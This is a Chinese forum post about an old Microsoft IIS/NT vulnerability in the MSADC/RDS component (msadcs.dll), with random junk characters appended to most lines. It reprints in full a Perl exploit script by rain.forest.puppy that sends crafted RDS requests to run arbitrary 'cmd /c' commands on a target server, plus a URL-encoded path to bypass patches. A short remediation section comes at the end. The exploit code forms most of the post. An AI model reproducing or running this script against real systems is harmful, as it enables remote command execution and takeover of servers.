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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) b%l H=u  
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涉及程序: !/G}vu  
Microsoft NT server V7WL Gy.,  
M6wH$!zRa  
描述: ,$`} Rf<  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _|e&zr  
+.Vh<:?  
详细: <y7{bk~i  
如果你没有时间读详细内容的话,就删除: db 99S   
c:\Program Files\Common Files\System\Msadc\msadcs.dll >_j(uw?u  
有关的安全问题就没有了。 [W )%0lx  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 k[*9b:~  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 C]b:#S${  
关于利用ODBC远程漏洞的描述,请参看: du$lS':`  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2S_u/32]W  
4A+g-{d  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 4D&L]eJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp H!Gw@u]E  
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这里不再论述。 g#(+:^3'  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @vq)Y2)r\  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Q m*z  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3>n&u,Xe  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" _N;@jq\q  
 +C\79,r  
#!perl e(wc [bv  
# (+gTIcc >  
# MSADC/RDS 'usage' (aka exploit) script NrS+N;i  
# G+#bO5  
# by rain.forest.puppy tD`^qMua  
# }Bv1fbD4U  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me xD*Zcw(vj~  
# beta test and find errors! oL9<Fi  
E 14DZ  
use Socket; use Getopt::Std; z wUC L  
getopts("e:vd:h:XR", \%args); Mq~E'g4#  
TeuZVy8a  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; v 8F{qT50  
62nmm/c  
if (!defined $args{h} && !defined $args{R}) { }t#|+T2f  
print qq~ !84Lvg0&  
Usage: msadc.pl -h <host> { -d <delay> -X -v } yl?LXc[)  
-h <host> = host you want to scan (ip or domain) Q=! lbW  
-d <seconds> = delay between calls, default 1 second > 3x^jh  
-X = dump Index Server path table, if available ^+-QY\N j  
-v = verbose Mx w-f4j  
-e = external dictionary file for step 5 Qe F:s|[  
Ak3^en  
Or a -R will resume a command session F4~ OsgZ'N  
cAN8'S(s1  
~; exit;} UG44 oKB  
.WSn Y71  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 41/civX>V  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} @F8NN\  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Pg.JI:>2Ku  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); lZ5-lf4  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^XeJZkLEB  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^5MM<73  
Z:^<NdKe  
if (!defined $args{R}){ $ret = &has_msadc; _3W .:  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ts&\JbL  
8p829  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" NI"Zocp  
. "cmd /c "; o~Hq&C"^}  
$in=<STDIN>; chomp $in; (]sm9PO  
$command="cmd /c " . $in ; 27R4B O  
*DcIC]ao[  
if (defined $args{R}) {&load; exit;} AHr^G'  
/V0Put  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; B (eXWWT_  
&try_btcustmr; :*g$@T   
xN$V(ZX4  
print "\nStep 2: Trying to make our own DSN..."; V}vL[=QFZ(  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; /Gnt.%y&  
{{gd}g  
print "\nStep 3: Trying known DSNs..."; k6DJ(.n'%a  
&known_dsn; IM6n\EZ^  
f4\F:YT  
print "\nStep 4: Trying known .mdbs..."; Q(x=;wf5r  
&known_mdb; ;~ Xjk  
mx1Bk9h%Xe  
if (defined $args{e}){ [jN Vk3  
print "\nStep 5: Trying dictionary of DSN names..."; L$a{%]I  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u`B/9-K)y  
c='W{47  
print "Sorry Charley...maybe next time?\n"; Ib2&L  
exit; m; =S]3P*  
c>c3qjWY/  
############################################################################## i:N-Q)<Q*)  
\8*j"@ !H  
sub sendraw { # ripped and modded from whisker us5Zi#}  
sleep($delay); # it's a DoS on the server! At least on mine... K HNU=k  
my ($pstr)=@_; rp @%0/[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )s7EhIP  
die("Socket problems\n"); "=%YyH~WY  
if(connect(S,pack "SnA4x8",2,80,$target)){ _@?I)4n|  
select(S); $|=1; IecD41%  
print $pstr; my @in=<S>; 8WLh7[  
select(STDOUT); close(S); y+wy<[u  
return @in; i`6utOq  
} else { die("Can't connect...\n"); }}  S\ZCZ0  
RKMF?:  
############################################################################## 41B.ZE+*qd  
VwBw!,%Ab  
sub make_header { # make the HTTP request 7^)yo#i4  
my $msadc=<<EOT [$$R>ELYQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ;E{@)X..|  
User-Agent: ACTIVEDATA qc'KQ5w7!  
Host: $ip MP@}G$O  
Content-Length: $clen kyJKai  
Connection: Keep-Alive p? +!*BZ  
ZQR)k:k7  
ADCClientVersion:01.06 A$~H`W<yxB  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 i+Ne.h  
q}'<[Wg  
--!ADM!ROX!YOUR!WORLD! @w%kOX  
Content-Type: application/x-varg [vBP,_Tjx  
Content-Length: $reqlen tOF8v8Hd  
kSJ;kz,_  
EOT ?TDmW8G}J  
; $msadc=~s/\n/\r\n/g; O d6'bO;G  
return $msadc;} taVK&ohWx  
U/HF6=Wot  
############################################################################## jA@ uV,w  
$rjm MSxi  
sub make_req { # make the RDS request bQ?Vh@j(M  
my ($switch, $p1, $p2)=@_; m-[xrVV  
my $req=""; my $t1, $t2, $query, $dsn; 6 P9#6mZ  
[$>@f{:  
if ($switch==1){ # this is the btcustmr.mdb query ,DW q  
$query="Select * from Customers where City=" . make_shell(); \/wk!mWV@  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . BD.l5 ~:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} :hB6-CZkqN  
A[Ce3m  
elsif ($switch==2){ # this is general make table query .ezko\nU  
$query="create table AZZ (B int, C varchar(10))"; b V_<5PHP  
$dsn="$p1";} rCGKE`H  
Q[!?SSX%  
elsif ($switch==3){ # this is general exploit table query v!S(T];)  
$query="select * from AZZ where C=" . make_shell(); F_}y[Yn^  
$dsn="$p1";} } ?+0s=Z  
I_Gm2 Dd  
elsif ($switch==4){ # attempt to hork file info from index server q|lP?-j  
$query="select path from scope()"; d n%'bt  
$dsn="Provider=MSIDXS;";} RXWdqaENx  
 KI\ 9)  
elsif ($switch==5){ # bad query a*,V\l|6  
$query="select"; 2*-qEUl1  
$dsn="$p1";} :E|+[}|  
RLw/~  
$t1= make_unicode($query); ;8]Hw a1!  
$t2= make_unicode($dsn); vl`St$$|  
$req = "\x02\x00\x03\x00"; ]RVme^=  
$req.= "\x08\x00" . pack ("S1", length($t1)); *= %`f=  
$req.= "\x00\x00" . $t1 ; /byF:iYI  
$req.= "\x08\x00" . pack ("S1", length($t2)); 'oBv(H  
$req.= "\x00\x00" . $t2 ;  Cb|R  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 'o8,XBv-  
return $req;} hR>`I0|p&  
]'#^ ~.  
############################################################################## N>j*{]OY+{  
dDYor-g>  
sub make_shell { # this makes the shell() statement 2{hG",JL  
return "'|shell(\"$command\")|'";} d)%l-jj9,  
Me+)2S 9  
############################################################################## /PBK:B  
a5]]AkvA  
sub make_unicode { # quick little function to convert to unicode Ko0T[TNkh  
my ($in)=@_; my $out; Ej@N}r>X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } C0>)WVCK  
return $out;} 5 tVg++I  
"LZv\c~v,%  
############################################################################## 3\B~`=*q/  
LKud'  
sub rdo_success { # checks for RDO return success (this is kludge) !?B2OE  
my (@in) = @_; my $base=content_start(@in); @nj`T{*.  
if($in[$base]=~/multipart\/mixed/){ &4p~i Z  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ?G5,x  
return 0;} T< <N U"n  
YL4yT`*  
############################################################################## ?I.bC   
57N<OQWf  
sub make_dsn { # this makes a DSN for us @<1T&X{Z!  
my @drives=("c","d","e","f"); ?`SB GN;  
print "\nMaking DSN: "; y0t-e   
foreach $drive (@drives) { x}7Xd P.2$  
print "$drive: "; 0w$1Yx~C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . *u34~v16,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" OH5#.${O  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); u])MI6LF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; I\82_t8  
return 0 if $2 eq "404"; # not found/doesn't exist ;4vx+>-  
if($2 eq "200") { (>om.FM  
foreach $line (@results) { Nm0|U.<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} cl'qw##  
} return 0;} 0te[i*G  
$O9#4A;  
############################################################################## fqm6Pd{:(  
`]2y=f<{X  
sub verify_exists { N1]P3  
my ($page)=@_; LC/%AbM  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]@ms jz'  
return $results[0];} tH4+S?PI  
0^MRPE|f5  
############################################################################## 4L2TsuLw  
^+dL7g?+  
sub try_btcustmr { wIQt f|ZI>  
my @drives=("c","d","e","f"); 4Cf.%f9@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yu'@gg(  
,NU`aG-  
foreach $dir (@dirs) { y-:d`>b>\  
print "$dir -> "; # fun status so you can see progress R?kyJ4S  
foreach $drive (@drives) { &m@DK>  
print "$drive: "; # ditto oSs~*mf  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; +r]2.  
$reqlenlen=length( "$reqlen" ); {X&H  
$clen= 206 + $reqlenlen + $reqlen; WNV}@  
}xy[ &-dh  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ca$K)=cDW  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 0qo :M3  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} *h"7!g  
<a%RKjQvT  
############################################################################## Bjsg!^X7  
b,RQ" {  
sub odbc_error { >o!~T}J7  
my (@in)=@_; my $base; nTPq|=C  
my $base = content_start(@in); 8}!WJ2[R  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 69{q*qCW  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ksli-Px  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^9?IS<N0]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m2PI^?|e  
return $in[$base+4].$in[$base+5].$in[$base+6];} V3> JZH`  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |Skhx9};  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,9~2#[|lq  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Gmh6|Dsg  
kTs.ps8ei  
############################################################################## @L5s.]vg=  
#qdfr3  
sub verbose { xIa8Ac  
my ($in)=@_; >Y"Ru#Ju9  
return if !$verbose; /X97dF)zt  
print STDOUT "\n$in\n";} GC^>oF  
8{4jlL;"`?  
############################################################################## !$8 e6  
7 y'2  
sub save { _T.k/a  
my ($p1, $p2, $p3, $p4)=@_; 1gDsL  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; @PyZ u7'  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ,ftKRq  
close OUT;} {Z(kzJwN  
 <]h?_)  
############################################################################## (E]q>'X  
[,/~*L;7  
sub load { 2N[/Cc2Tg/  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6 ly`lu9  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); >K-S&Y  
@p=<IN>; close(IN); =/MA`>  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); gano>W0  
$target= inet_aton($ip) || die("inet_aton problems"); 7Nt6}${=z  
print "Resuming to $ip ..."; D $3Mg  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Q?]-/v  
if($p[1]==1) { GEUC<bL+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; j NkobJ1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Y2Y)|<FH  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); GX ;~K  
if (rdo_success(@results)){print "Success!\n";} B6xM#)  
else { print "failed\n"; verbose(odbc_error(@results));}} VH7nyqEM  
elsif ($p[1]==3){ 2c1L[]h'  
if(run_query("$p[3]")){ CWw#0  
print "Success!\n";} else { print "failed\n"; }} ~Y/o9x0  
elsif ($p[1]==4){ yU'<b.]  
if(run_query($drvst . "$p[3]")){ EE$\8Gx']!  
print "Success!\n"; } else { print "failed\n"; }} 0<#>LWaM_  
exit;} Gqs)E"h  
+Fa!<txn  
############################################################################## (rm*KD"]  
1V:I }~\  
sub create_table { S^T ><C  
my ($in)=@_; K2 6`wt  
$reqlen=length( make_req(2,$in,"") ) - 28; 2rPmu  
$reqlenlen=length( "$reqlen" ); ;9$71E  
$clen= 206 + $reqlenlen + $reqlen; }WDzzjDR+  
my @results=sendraw(make_header() . make_req(2,$in,"")); v8f1o$R  
return 1 if rdo_success(@results); y XT8:2M  
my $temp= odbc_error(@results); verbose($temp); -+{<a!Nb  
return 1 if $temp=~/Table 'AZZ' already exists/; 7m:ZG  
return 0;} M`) /^S9  
_9:r4|S  
############################################################################## '8w>=9Xl  
7!U^?0?/  
sub known_dsn { F<TIZ^gFP  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :T )R;E@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a(uZ}yS$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", y4)iL?!J~  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); h?'~/@  
`3yK<-  
foreach $dSn (@dsns) { fLS].b]1N  
print "."; Q|xa:`3?  
next if (!is_access("DSN=$dSn")); l}SHR|7<  
if(create_table("DSN=$dSn")){ Z0%:j\W4c  
print "$dSn successful\n"; [h63*&  
if(run_query("DSN=$dSn")){ %X|u({(zb  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @ Fkhida  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -nXlW  
Xz`0nU  
############################################################################## zf;sdQ;4  
l"-Z#[  
sub is_access { EKus0"|  
my ($in)=@_; ! k 1 Ge+  
$reqlen=length( make_req(5,$in,"") ) - 28; JED\"(d(  
$reqlenlen=length( "$reqlen" ); R,ZG?/#uM9  
$clen= 206 + $reqlenlen + $reqlen; Ad&VOh+0  
my @results=sendraw(make_header() . make_req(5,$in,"")); F1meftK  
my $temp= odbc_error(@results); p(6 sN=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _\na9T~g  
return 0;} ?4^ 0xGyE  
 />6ECT  
############################################################################## S5V:HRj{?  
dci<Rz`h  
sub run_query { 1YK(oRSDn  
my ($in)=@_; y @S_CB 47  
$reqlen=length( make_req(3,$in,"") ) - 28; Gk]ZP31u  
$reqlenlen=length( "$reqlen" ); v7 n@CWnN  
$clen= 206 + $reqlenlen + $reqlen; eR0$CTSw  
my @results=sendraw(make_header() . make_req(3,$in,"")); Q(36RX%@  
return 1 if rdo_success(@results); /,`OF/%  
my $temp= odbc_error(@results); verbose($temp); P ^ 4 @  
return 0;} K)U[xS;<  
|{v#'";O:  
############################################################################## M*f]d`B  
oKb"Ky@s  
sub known_mdb { Q8MIpa!:  
my @drives=("c","d","e","f","g"); 3~VV2O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v2_` iwE  
my $dir, $drive, $mdb; <v'&Pk<  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; =r*Ykd;W|E  
H8B$# .  
# this is sparse, because I don't know of many a>x6n3{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 'ZB^=T  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", vd)zvI  
"\\system32\\certmdb.mdb", 8CZ%-}-%$  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7B)1U_L0H  
T;?k]4.X  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", le]~Cy0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", g/fpXO\  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =YTcWB  
"\\cfusion\\cfapps\\security\\realm_.mdb", n}j6gN!O  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", vENf3;o0  
"\\cfusion\\database\\cfexamples.mdb", px "H  
"\\cfusion\\database\\cfsnippets.mdb", =MMd&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", .p,VZ9  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 4e Y?#8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Mx$&{.LFJ  
"\\cfusion\\database\\smpolicy.mdb", e"52'zAV-  
"\\cfusion\\database\cypress.mdb", n{i,`oQ"  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^:]$m;v]  
"\\website\\cgi-win\\dbsample.mdb", t:5-Ro  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", EG;E !0  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c~?Zmdn:  
); #these are just Pal=I)  
foreach $drive (@drives) { msM1K1er  
foreach $dir (@dirs){ bD{k=jum  
foreach $mdb (@sysmdbs) { -^lc-$0  
print "."; ]Ob|!L(  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ o]Rlivahm  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 4G?^#+|^  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ eM:J_>7t  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; /rnI"ze`  
} else { print "Something's borked. Use verbose next time\n"; }}}}} b.@a,:"  
pX ^^0  
foreach $drive (@drives) { Pp s-,*m  
foreach $mdb (@mdbs) { &J*M  
print "."; <ZF|2  
if(create_table($drv . $drive . $dir . $mdb)){ -(8I?{"4i  
print "\n" . $drive . $dir . $mdb . " successful\n"; 7l=;I%  
if(run_query($drv . $drive . $dir . $mdb)){ w_xca(  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /}(d'@8p  
} else { print "Something's borked. Use verbose next time\n"; }}}} )&Oc7\J,  
} ( %\7dxiK  
q8 ?kBKP  
############################################################################## Y~-y\l;Tr  
{O^u^a\m  
sub hork_idx { -f)fiQ-<  
print "\nAttempting to dump Index Server tables...\n"; La;G S  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";  b.&W W  
$reqlen=length( make_req(4,"","") ) - 28; [d6!  
$reqlenlen=length( "$reqlen" ); XiE`_%NW  
$clen= 206 + $reqlenlen + $reqlen; 3}0\W.jH  
my @results=sendraw2(make_header() . make_req(4,"","")); &0Yg:{k$  
if (rdo_success(@results)){ /i'078F  
my $max=@results; my $c; my %d; _U<fS  
for($c=19; $c<$max; $c++){ d9#Vq=H /  
$results[$c]=~s/\x00//g; ttzNv>L,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; W]9*dabem  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; rp||#v0l!w  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; )U?_&LY)[M  
$d{"$1$2"}="";} 2T~cOH;T  
foreach $c (keys %d){ print "$c\n"; } ,Of^xER`  
} else {print "Index server doesn't seem to be installed.\n"; }} EiL#Dwx  
-3EQRqVg  
############################################################################## qd*}d)!  
!Rn6x $_  
sub dsn_dict { 8Xot ly  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %9J@##+  
while(<IN>){ h[ DNhR  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Y%s:oHt  
next if (!is_access("DSN=$dSn")); \k.`xG?  
if(create_table("DSN=$dSn")){ Wwq:\C  
print "$dSn successful\n"; bbK};u  
if(run_query("DSN=$dSn")){ )/H;5 cn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^Xk!wJ  
print "Something's borked. Use verbose next time\n";}}} 0 &zp  
print "\n"; close(IN);} {ez $kz  
lkn|>U[  
############################################################################## \<4N'|:  
rs&]46i/p  
sub sendraw2 { # ripped and modded from whisker { mi}3/  
sleep($delay); # it's a DoS on the server! At least on mine... Zv u6/#  
my ($pstr)=@_; J D\tt-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || zfIo] M`  
die("Socket problems\n"); L"bOc'GfQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ " O&93#8  
print "Connected. Getting data"; N:1aDr;  
open(OUT,">raw.out"); my @in; T*z]<0E]  
select(S); $|=1; print $pstr; pP. _%5  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} A6N6e\*  
close(OUT); select(STDOUT); close(S); return @in; 6>>; fy2  
} else { die("Can't connect...\n"); }} 9wgB J Jl7  
RZOK+!H:  
############################################################################## 3nq?Y8yac  
h)KHc/S  
sub content_start { # this will take in the server headers /WrB>w  
my (@in)=@_; my $c; 51#*8u+L  
for ($c=1;$c<500;$c++) { f-ltV<C_  
if($in[$c] =~/^\x0d\x0a/){ m|a9T#B(  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } O\5%IfB'"  
else { return $c+1; }}} *LT~:Gs#  
return -1;} # it should never get here actually _5oTNL2  
F^i3e31*t  
############################################################################## Wv;0PhF  
/sE,2X*BT  
sub funky { :cT)M(o  
my (@in)=@_; my $error=odbc_error(@in); ~P4C`Q1PT#  
if($error=~/ADO could not find the specified provider/){ $*Ucfw1T  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (!~cO x   
exit;} S* h52li  
if($error=~/A Handler is required/){ ?bTfQH vX  
print "\nServer has custom handler filters (they most likely are patched)\n"; gD,&TW  
exit;} ?YhDjQs  
if($error=~/specified Handler has denied Access/){ )DSeXS[ e  
print "\nServer has custom handler filters (they most likely are patched)\n"; j{@O %fv=  
exit;}} $%<{zWQm  
A~zn;  
############################################################################## :ym?]EL4o  
,/;Ae w;  
sub has_msadc { _:x]' w%  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {15j'Qwm  
my $base=content_start(@results); vgfC{]v<W]  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =Tj{)=^/#  
return 0;} &,X}M  
mG~_*8}e<  
######################## _jWs(OmJ  
E$ d#4x  
5E!C?dv(z  
解决方案: &5 CRXf  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5ut| eD`3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ?OD$`{1  
)M0YX?5A R  
拿出来充数 哈哈
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